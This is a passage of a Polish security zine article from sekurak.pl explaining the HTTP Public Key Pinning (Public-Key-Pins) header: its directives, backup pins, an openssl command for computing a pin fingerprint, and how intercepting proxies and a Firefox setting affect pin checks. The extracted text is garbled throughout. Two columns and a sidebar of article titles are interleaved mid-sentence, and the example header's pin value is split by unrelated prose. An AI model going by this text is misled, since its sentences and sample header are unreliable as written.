strażnik bezpieczeństwa aplikacji
wolnej witryny internetowej może skorzystać z dobrodziejstw przypinania certyfi- Co istotne, RFC 7469 definiuje, że w nagłówku muszą znaleźć się co najmniej
webowej
katów. Oto przykładowa wartość tego nagłówka: dwie dyrektywy pin-sha256, z czego co najmniej jedna nie może odwoływać się do
żadnego certyfikatu z łańcucha certyfikatów. Innymi słowy: administrator witryny Ochrona podatnych aplikacji
Public-Key-Pins: pin-sha256="d6qzRu9zOECb90Uez27xWltNsj0e1Md7GkYYkVoZWmM="; pin-
sha256="E9CZ9INDbd+2eRQozYqqbQ2yXLVKB9+xcprMF+44U1g="; pin-sha256="LPJNul+wow musi zdefiniować zapasowy pin (backup pin), który musi odnosić się do innego, jesz- webowych za pomocą wirtualnych
4m6DsqxbninhsWHlwfp0JecwQzYpOLmCQ="; max-age=10000; includeSubDomains; report-
uri="http://example.com/hpkp-report" cze nieużywanego certyfikatu. Wprowadzenie pinów zapasowych jest uzasadnione poprawek w ModSecurity
potrzebą zapewnienia ciągłości działania strony internetowej. Wyobraźmy sobie sy-
Poniżej opis poszczególnych dyrektyw: tuację, w której używany jest tylko jeden pin, a następnie – na przykład w wyniku Czym jest atak Padding Oracle
»» pin-sha256 – pole wymagane, odcisk palca jednego z certyfikatów z łańcucha jakiegoś incydentu bezpieczeństwa – certyfikat zostaje unieważniony. Administra-
(więcej o generowaniu wartości dla tego pola w dalszej części artykułu); RFC tor witryny generuje nowy certyfikat u innego dostawcy, jednak użytkownicy, tak Czym jest Bit-Flipping
przewiduje, że w przyszłości mogą być używane inne algorytmy niż sha256, jed- czy inaczej, nie będą mogli jej odwiedzić ze względu na niezgodność pinów. Dzięki
nak na razie jest jedynym obsługiwanym; wartość hasha musi z kolei być enko- zastosowaniu zapasowego pinu, problem zostaje rozwiązany, bowiem w razie in- Bezpieczeństwo aplikacji
dowana w base64, cydentu bezpieczeństwa administrator natychmiast wystawia stronę z zapasowym webowych: podatności
w mechanizmach uploadu
»» max-age – pole wymagane, czas ważności danego przypięcia w sekundach; in- certyfikatem, zaś wcześniej w nagłówku Public-Key-Pins umieszczono już odcisk
nymi słowy: po upływie danego czasu przeglądarka przestanie traktować daną jego palca.
Ukryte katalogi i pliki jako
domenę jako używającą pinningu certyfikatów, Aby wygenerować odcisk palca dla certyfikatu, można posłużyć się poniższym
źródło informacji o aplikacjach
»» includeSubDomains – pole opcjonalne. Domyślnie przypinanie certyfikatów poleceniem (zakładamy, że certyfikat znajduje się w pliku cert.pem): internetowych
działa tylko dla domeny, na której był obecny nagłówek Public-Key-Pins; dzięki
openssl x509 -noout -in cert.pem -pubkey | openssl asn1parse -noout -inform pem
użyciu tej dyrektywy przypinanie działa także dla wszystkich poddomen, -out /dev/stdout|openssl dgst -sha256 -binary /dev/stdin |openssl enc -base64 Czym jest i jak wykorzystać
»» report-uri – pole opcjonalne, pozwala zdefiniować adres, pod który przeglądar- podatność Relative Path
ka zgłosi naruszenie certyfikatu. HPKP A PROXY Overwrite/Path–Relative Style
Testerzy aplikacji internetowych często korzystają z oprogramowania typu proxy Sheet Import (RPO/PRSSI)
Nagłówek Public-Key-Pins wygląda dość podobnie do HSTS (HTTP Strict Transport (jak np. Burp czy Fiddler). Aby testować aplikacje działające w protokole HTTPS, naj-
Security). Podobnie jak w przypadku HSTS, możliwe jest zdefiniowane trybu Report- częściej do lokalnego magazynu certyfikatów dodaje się certyfikat wygenerowany Mechanizm HTTP Public Key
-Only (trzeba wówczas użyć nazwy nagłówka: Public-Key-Pins-Report-Only), w któ- przez proxy. Teoretycznie mogłoby tutaj istnieć ryzyko, że testowanie witryn prze- Pinning
rym przeglądarka będzie tylko informować o wykryciu naruszeń certyfikatów, nie stanie być możliwe, bowiem certyfikaty wystawione przez proxy z pewnością nie
będzie zaś blokować dostępu do witryny. znajdą się na liście certyfikatów przypiętych do domeny. Okazuje się, że zarówno
Najistotniejszym polem z wyżej wymienionych, jest pin-sha256, gdzie zdefinio- Firefox, jak i Chrome domyślnie pomijają sprawdzanie pinów, jeżeli certyfikat głów-
wany jest odcisk palca jednego z certyfikatów z łańcucha. Jeżeli przeglądarka nie nego CA znajduje się w lokalnym, prywatnym magazynie certyfikatów.

64 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Mechanizm HTTP Public Key Pinning

sekurak.pl /  offline 
W przeglądarce Firefox istnieje możliwość zmiany tego zachowania i wymusze-
nia bezwarunkowego sprawdzania pinów. Należy w tym celu ustawić w about: flags
wartość flagi security.cert_pinning.enforcement_level na 2 (gdzie domyślną warto-
ścią jest 1). W Chrome takiej możliwości nie ma. Mechanizm Service Workers

PODSUMOWANIE Wszystko o CSP 2.0 – Content


Security Policy jako uniwersalny
Reasumując, mechanizm HTTP Public-Key-Pins (HPKP) pozwala minimalizować
strażnik bezpieczeństwa aplikacji
ryzyko bezpośrednio związane z modelem X.509, które polega na możliwości wyge- webowej
nerowania certyfikatu dla każdej domeny przez dowolne centrum certyfikacji. Dzię-
ki nagłówkowi Public-Key-Pins administratorzy stron internetowych mogą sami Ochrona podatnych aplikacji
określić, jakie certyfikaty są dopuszczalne. webowych za pomocą wirtualnych
Należy pamiętać, że HPKP wymaga posiadania pinu zapasowego. Najlepiej i naj- poprawek w ModSecurity
bezpieczniej jest, gdy pin odnosi się do zapasowego certyfikatu wygenerowanego
przez inne centrum certyfikacji niż ten używany na „żywej” witrynie. Ze względu Czym jest atak Padding Oracle
na konieczność posiadania dwóch różnych certyfikatów, można się spodziewać, że
mechanizm HPKP będzie używany raczej tylko w dużych wdrożeniach, takich jak Czym jest Bit-Flipping
np. systemy bankowe.
Bezpieczeństwo aplikacji
webowych: podatności
w mechanizmach uploadu
Michał Bentkowski. Realizuje testy penetracyjne oraz audyty bezpieczeństwa
w firmie Securitum. Autor w serwisie sekurak.pl. Aktywnie (i z sukcesem) Ukryte katalogi i pliki jako
uczestniczy w znanych programach bug bounty.
źródło informacji o aplikacjach
internetowych

Czym jest i jak wykorzystać


podatność Relative Path
Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)

Mechanizm HTTP Public Key


Pinning

65 f  PODZIEL SIĘ ZINEM

You might also like